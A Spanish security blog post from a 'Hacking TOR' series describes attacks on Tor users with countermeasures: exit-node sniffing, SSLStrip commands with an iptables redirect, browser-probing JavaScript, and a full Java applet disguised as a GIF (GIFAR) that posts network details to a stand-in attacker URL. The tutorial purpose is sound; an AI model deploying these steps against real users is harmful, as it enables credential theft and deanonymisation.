Inicio > Hacking, Networking, Services - Software > Preservando el Anonimato y Extendiendo su Uso – Hacking TOR – Parte XVII

Preservando el Anonimato y Extendiendo su Uso – Hacking TOR – Parte XVII

Aunque TOR apoya el anonimato y la privacidad de sus usuarios por medio de canales seguros de comunicación utilizando mecanismos de cifrado fuertes, algunos usuarios pueden emplear esta red para realizar actividades insidiosas que van en contra de la filosofía que soporta su desarrollo, que es precisamente para proteger la privacidad y la información sensible de sus usuarios, al referirnos a “actividades insidiosas” nos referimos a actividades que abarcan el uso inapropiado de la red hasta el abuso de nodos de salida para “espiar” las comunicaciones de sus usuarios. Por esta razón, como usuarios de esta red es de vital importancia conocer cuales son los vectores de ataque más comunes que son empleados por “hackers” maliciosos y cuales son las medidas que pueden aplicarse para proteger la información que viaja entre los distintos nodos de la red.

A continuación se describen algunos de los mecanismos de ataque empleados

Nodo de Salida Malicioso – Sniffing

Se trata sin lugar a dudas del tipo de ataque más común en la red de TOR, su funcionamiento es muy sencillo, consiste en que un atacante crea un relay valido en la red de TOR tal y como se ha indicado en entradas anteriores, posteriormente todo el trafico de los usuarios de la red que utilicen dicho nodo de salida, enviarán todos sus paquetes a los nodos de la red TOR, incluyendo evidentemente, el nodo de salida del atacante, en este punto el atacante dispone de los paquetes que envían los usuarios a diferentes destinos, ahora bien, la comunicación entre todos los nodos de la red de TOR viaja cifrada, por tal motivo los nodos intermedios no disponen de información sobre los datos en texto plano que el usuario esta enviando, EXCEPTO cuando el nodo de salida envía dichos paquetes al destino final, es decir, toda la información que viaja entre el nodo de salida y el destino final viaja SIN ningún tipo de cifrado, evidentemente es una situación que un atacante puede aprovechar con mucha facilidad, ya que lo único que necesita hacer, es iniciar un sniffer como wireshark o tcpdump en la interfaz de red que se encarga de hacer entrega de los paquetes recibidos al destino final.

Se trata del ataque más sencillo que se puede llevar a cabo, dado que no necesita mucha experiencia ni conocimientos técnicos por parte del atacante, no obstante, se trata de un ataque pasivo y no dirigido hacia un usuario en particular, dado que el atacante una vez ha registrado su relay en TOR y ha iniciado su sniffer, debe esperar pacientemente mientras que se construye un circuito con su nodo de salida incluido, posteriormente, los usuarios que utilicen dicho circuito (que es generado de forma aleatoria) enviaran sus paquetes (que posiblemente contendrán datos sensibles como emails, usuarios claves, etc.) por medio del nodo de salida malicioso.

Contramedidas

Así como este ataque es el más sencillo de utilizar por parte de un atacante, es también uno de los sencillos de evitar por parte de un usuario, para evitar que la información sensible o de cualquier tipo sea capturada por la interfaz de red del atacante en el nodo de salida, se recomienda utilizar cifrado “end-to-end” esto quiere decir que se deben cifrar todos los paquetes que se envían desde el origen hacia el destino, (el cifrado lo realiza el cliente) utilizando, por ejemplo, HTTPS para realizar peticiones a sitios web (suponiendo que el servidor soporte SSL/TLS), también es posible utilizar SSH para cifrar todo el trafico, lo que es una practica común y muy recomendada. Cuando un cliente cifra su trafico desde el origen, el atacante podrá seguir capturando sus paquetes, pero no podrá ver nada “útil”, solamente los paquetes cifrados.

Nodo de Salida Malicioso – Utilizando SSLStrip

Partiendo del escenario anterior, un atacante podría utilizar SSLStrip con el fin de tratar de engañar al usuario haciéndole creer que esta consultando un sitio seguro, cuando en realidad la conexión viaja en texto claro, es una pequeña extensión del caso anterior, solo que adicionalmente, en el nodo de salida se envían todos los paquetes recibidos al puerto donde esta escuchando SSLStrip. Anteriormente se ha indicado el funcionamiento de esta herramienta, permite “cambiar” el protocolo para realizar peticiones a sitios web seguros, a menos que el usuario indique de forma explicita “https” en la petición, por ejemplo, cuando se ingresa en el navegador web la ruta “gmail.com” por brevedad, si la petición no esta interceptada y tratada con SSLStrip, de forma automática se va a poner en la barra del navegador “https://www.gmail.com” en el caso de que la conexión se encuentre interceptada con SSLStrip, no se realizará la conexión cifrada con HTTPS, en su lugar se utilizará HTTP y los datos viajarán en texto plano, permitiendole a SSLStrip capturar dichos datos.

El procedimiento realizado por un atacante es muy sencillo, consiste en permitir a su máquina actuar como “router” de las peticiones que le son enviadas por medio del parámetro del sistema operativo correspondiente

>echo “1” > /proc/sys/net/ipv4/ip_forward

NOTA: También es posible (y muchas veces recomendable utilizar FragRoute en lugar de activar esta característica a nivel de sistema operativo)

Posteriormente se debe iniciar SSLStrip

>sslstrip -w /home/adastra/log_tor.txt -l 4444

Y finalmente cualquier petición cuyo destino sea un servidor web (puerto 80 por defecto) debe ser redireccionado al puerto de SSLStrip para que este a su vez, realice las operaciones que debe llevar a cabo.

>iptables -t nat -A PREROUTING -p tcp ––destination-port 80 -j REDIRECT –to-port 4444

Lo único que debe hacer el atacante ahora, es esperar y realizar revisiones periódicas de los logs generados por SSLStrip en busca de usuarios, passwords y otra información valiosa.

Contramedidas

Anteriormente se ha indicado el uso de TorTunnel solamente con la aplicación torproxy que permitía realizar una conexión de forma directa a un nodo de salida existente en la red de TOR, no obstante existe otra herramienta adicional en dicho paquete que permite determinar cuando el nodo de salida de la red de TOR que el cliente se encuentra utilizando, tiene en ejecución una instancia de SSLStrip, su funcionamiento es sencillo, simplemente envía una página que debería ser tratada por HTTPS (como en el caso anterior con gmail.com) y retorna la respuesta desde el nodo de salida, en el caso de que en los logs de la aplicación se aprecie una sustitución de HTTPS por HTTP se puede determinar que en el nodo de salida existe una herramienta como SSLStrip en ejecución y que debería ser evitado utilizando opciones de configuración tales como ExcludeExitNodes que se verá más adelante en próximas entradas.

>./torscanner http://www.google.com 80

Por otro lado, para evitar esto, también es necesario indicar de forma explicita el protocolo HTTPS y comprobar siempre que se utiliza, efectivamente, HTTPS en lugar de HTTP, para esto la observación detenida es la mejor arma, no obstante también ayuda para tal fin el uso de la extensión de firefox HTTPS Everywhere.

Sitios web intrusivos con JavaScript

Una de las amenazas más frecuentes contra el anonimato de un usuario en la red de TOR, es precisamente la capacidad que tiene JavaScript de consultar información contenida en el navegador del usuario que realiza una petición a un determinado sitio web, por ejemplo, es posible que un sitio web intente determinar información privada almacenada en el navegador web del usuario consultando cookies, historial de navegación y datos relativos con la maquina del cliente. Algunos scripts de ejemplo que pueden realizar tales acciones son por ejemplo

Consultando propiedades del navegador del cliente


<script type="text/javascript">

info = "Navegador CodeName: " + navigator.appCodeName + "</p>";
 info+= "Navegador Name: " + navigator.appName + "</p>";
 info+= "<p>Navegador Version: " + navigator.appVersion + "</p>";
 info+= "<p>Cookies Activadas?: " + navigator.cookieEnabled + "</p>";
 info+= "<p>Plataforma: " + navigator.platform + "</p>";
 info+= "<p>User-agent header: " + navigator.userAgent + "</p>";

alert(info);

</script>

Consultando propiedades sobre la resolución de pantalla del cliente


<script type="text/javascript">

screen = "Total width/height: "+screen.width + "*" + screen.height;

screen+="Disponible width/height: "+screen.availWidth + "*" + screen.availHeight;

document.write("Color depth: "+screen.colorDepth;

document.write("Color resolucion: "+screen.pixelDepth;

</script>

Consultando el historial del cliente


<script type="text/javascript">

for(i=0;i<window.history.length; i++)

{

alert(window.history[i]);

}

</script>

Contramedidas

El uso de TorButton en estos casos, es indispensable ya que bloquea la mayoría de estos ataques, ademas también es recomendable utilizar las extensiones de firefox indicadas en entradas anteriores que permitirán bloquear scripts que puedan ser maliciosos y atenten contra la privacidad de la información almacenada en el navegador.

En muchos casos, algunos sitios web no son “útiles” a menos que se utilice JavaScript, lo que muchos usuarios de TOR hacen ante tales casos, es simplemente desactivar temporalmente algunas de las extensiones de Firefox que bloquean dichos elementos, esto no es una buena practica, ya que el contenido bloqueado puede tener algún script que consulte información privada del navegador y posteriormente la registre en el sitio web, por este motivo, se recuerda a los usuarios que es una buena practica tener dos navegadores web de forma independiente en casos en los que sea necesario navegar por un sitio determinado pero que no sea posible hacerlo con los add-ons y extensiones de firefox activados, o bien, inspeccionar el contenido de la página web en cuestión y asegurarse que el código JavaScript incluido no realiza ningún tipo de actividad “insidiosa” y en el caso de estar seguro de que esta “limpio” de cualquier tipo de amenaza que pueda resultar en una fuga de información, desactivar dichas extensiones solo para dicho sitio web.

Además de las amenazas que pueden representar para el anonimato la ejecución no controlada de scripts JavaScript, también existen otras técnicas que emplean los atacantes para recuperar información sensible relacionada con un usuario de la red TOR, por ejemplo el uso de tecnología Java

Sitios web intrusivos con Java

Del mismo modo que se pueden utilizar scripts de JavaScript para obtener fácilmente información relacionada con un usuario utilizando la red de TOR, utilizando tecnología Java se puede obtener una gran cantidad de información relacionada con el usuario, en concreto se pueden utilizar Applets de Java que permitirán acceder de forma directa a información personal del usuario, e incluso, dadas las capacidades que dispone Java para entornos de red, ejecutar peticiones a otros sitios en internet (sin conocimiento del cliente evidentemente) evadiendo el paso por la red de TOR (o incluso pasando por dicha red).

Una técnica empleada con frecuencia para conseguir tal objetivo es la creación de applets maliciosos conocidos como GIFAR y PDFAR que consisten en la combinación de imágenes GIF con ficheros JAR que normalmente contienen el código de dichos applets por eso se nombran GIFAR (GIF + JAR), los PDFAR tienen la misma estructura, solamente que en lugar de utilizar una imagen para embeber el fichero JAR del applet, se utiliza un fichero PDF.

La creación de un GIFAR/PDFAR es simple, solamente es necesario conocer un poco sobre tecnología Java, a continuación se indicará un ejemplo de ataque utilizando la API de Java para acceder a información del cliente relacionada con las interfaces de red, los pasos para esto son los siguientes:

  1. Crear el applet Java que se ejecutará en la máquina del cliente, en este caso, el applet recolectará toda la información disponible sobre las interfaces de red del cliente, incluyendo direcciones IP, mascaras de red, etc. Posteriormente se procede a conectarse con un sitio web (utilizando protocolo HTTP)
     import javax.swing.JApplet;
     import java.awt.Graphics;
     import java.net.NetworkInterface;
     import java.net.InterfaceAddress;
     import java.net.InetAddress;
     import java.net.HttpURLConnection;
     import java.net.URL;
     import java.util.List;
     import java.util.Enumeration;
     import java.nio.*;
     import java.io.DataOutputStream;/**
     * Gifar Applet.
     */
     public class Gifar extends JApplet {
     static final long serialVersionUID = 0;
    public void init() {
     HttpURLConnection http = null;
     try {
     String peticion = getParameter("peticionAtacante");
     StringBuffer cliente = new StringBuffer();
     Enumeration e = NetworkInterface.getNetworkInterfaces();
     int direccionDetectada = 1;
     while(e.hasMoreElements()) {
     NetworkInterface ni = (NetworkInterface) e.nextElement();
     cliente.append("INTERFAZ DE RED DETECTADA, Inicio de Traza...");
     cliente.append("\nDIRECCIÓN DETECTADA NÚMERO: "+direccionDetectada);
     cliente.append("\nNet interface: "+ni.getName());
     cliente.append("\nMAC: "+ni.getHardwareAddress()+"");
     cliente.append("\nMTU: "+ni.getMTU());
     cliente.append("\nPoint to Point? "+ni.getMTU());
     cliente.append("\nes UP? "+ni.isUp());
     cliente.append("\nes Virtual? "+ni.isVirtual());
    cliente.append("\nSoporta Multicast? "+ni.supportsMulticast() );
    
    List<InterfaceAddress> subSetIface = ni.getInterfaceAddresses();
     for(InterfaceAddress interfaceAddress : subSetIface) {
     cliente.append("\n --- BROADCAST: "+interfaceAddress.getBroadcast());
     cliente.append("\n --- MASCARA DE SUBRED "+interfaceAddress.getNetworkPrefixLength());
     }
     cliente.append("\nFin de Traza...\n\n\n");
     direccionDetectada = direccionDetectada+1;
     }
     URL rutaPeticion = new URL(peticion);
    
    http = (HttpURLConnection)rutaPeticion.openConnection();
    
    http.setRequestProperty("Content-type", "text/html");
    
    http.setUseCaches(false);
    
    http.setDoOutput(true);
    
    http.setDoInput(true);
    
    http.setRequestMethod("GET");
     DataOutputStream wr = new DataOutputStream (http.getOutputStream ());
     wr.writeBytes (cliente.toString());
    
    wr.flush ();
    
    wr.close ();
     } catch(Exception ex) {
     System.out.println("Excepción: "+ex.getMessage());
     } finally {
    
    if(http != null) {
    
    http.disconnect();
     }
     }
     }
     }
    
    

    Como puede apreciarse de la clase anterior, el applet declarado intentará recuperar en primer lugar un parámetro que representa el sitio del atacante, donde este a su vez, podrá registrar los datos recolectados por el applet, posteriormente el applet intenta consultar información relacionada con las interfaces de red del cliente y posteriormente abre una conexión HTTP con el sitio remoto del atacante, enviándole una cadena de texto con toda la información recolectada.

  2. Ahora bien, el primer paso es compilar dicha clase y posteriormente crear el fichero JAR que tomará el applet para su ejecución

    >javac Gifar.java

    >jar -cf Gifar.jar Gifar.class

  3. Una vez se ha compilado y empaquetado la clase del applet, se crea el GIFAR propiamente dicho, concatenando los flujos de ambos ficheros (GIF y JAR) es tan sencillo como utilizar el comando “cat” y redireccionar la salida a un fichero nuevo del siguiente modo

    >cat imagen.gif Gifar.jar > GifarImage.gif

    Comparando los tamaños del fichero original “imagen.gif” con el fichero generado “GifarImage.gif” se podrá notar la diferencia, que básicamente se encuentra en el tamaño del JAR generado

    >cat imagen.gif Gifar.jar > GifarImage.gif

  4. Finalmente, debe existir un sitio web que hospede el applet, el contenido de la página más simple para tal fin puede ser el siguiente
    
    <html>
    
    <head>
    
    <title>Programa Simple</title>
    
    </head>
    
    <body>
    
    <applet code="Gifar.class" archive="GifarImage.gif" width=0 height=0>
    
    <param name="peticionAtacante" value="http://www.atacante.com/paginaRegistro" />
    
    </applet>
    
    </body>
    <p lang="es-ES"><span style="font-family: Courier New,monospace;"><span style="font-size: x-small;"></html></span></span></p>
    <p lang="es-ES">

    Como puede verse, el atributo “archive” asume el valor de “GifarImage.gif” que es donde se encuentra el applet, (el cual a su vez, es una imagen). Por otro lado se establece el parámetro necesario para la ejecución del applet, en este caso el parámetro “peticionAtacante”contiene la ruta que debe registrar toda la información que se le envíe desde el applet.

  1. jos
    junio 3, 2012 en 1:48 am

    hola, magnificos tutoriales post!! estoy leyendo este apartado acerca del punto debil de tor el nodo final. pero tengo una duda, si despues de conectar a Tor conecto a un proxy ssl y este me envia un certificado al firefox una vez acepto el certificado del proxy ssl, este que IP cliente conoce, la IP del nodo final de la red tor, o la IP de mi maquina ? porque entiendo que debera conocer alguna IP para poder construir el tunnel ssl del proxy alguna ip ya se la del nodo de salida de tor o la de mi maquina ? gracias por tu respuesta.

    Me gusta

    • junio 3, 2012 en 2:21 am

      El proxy SSL (o en general, cualquier tipo de destino) recibe la petición desde el punto de salida de TOR (exit node) por lo tanto asume que dicha máquina es el cliente (y de hecho lo es) e inicia la interacción, sin embargo lo datos intercambiados son cifrados y remitidos a la máquina del cliente a nivel de transporte (ver modelo TCP/IP) esta es una de las razones por el que se llama TOR (The Onion Router, Onion=Cebolla) porque cada vez que se pasa por uno de los nodos se “quita” la capa de cifrado correspondiente al nodo por el que esta pasando el paquete, como si se tratará de una cebolla a la que se le quitan capas hasta que llega finalmente al cliente.

      Me gusta

      • jos
        junio 3, 2012 en 10:24 pm

        si entendi bien, cuando mi navegador hace la peticion al servidor proxy ssl y este me envia el certificado digital a mi navegador, el proxy ssl solo ve como maquina cliente el exit node de Tor. Pero en los datos intercambiados es decir el trafico producido una vez establecido el tunnel entre mi navegador y el servidor proxy ssl, aqui si que el servidor proxy ssl puede ver mi direccion de maquina, me equivoco ?

        otra herramienta que hay que quisiera saber si haras algun tutorial es la siguiente Advanced union router, es como Vidalia funciona en al red Tor, pero tiene muchas opciones de configuración. Algo que no encontre por ejemplo en Tor (Vidalia) es como decir que cuando construya el circuito tenga más de 3 nodos. Esta herramienta por ejemplo te permite crear más de 3 nodos en la construccion del circuito y otras opciones más adjunto aqui el enlace http://sourceforge.net/projects/advtor/

        saludos y gracias

        Me gusta

  1. No trackbacks yet.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: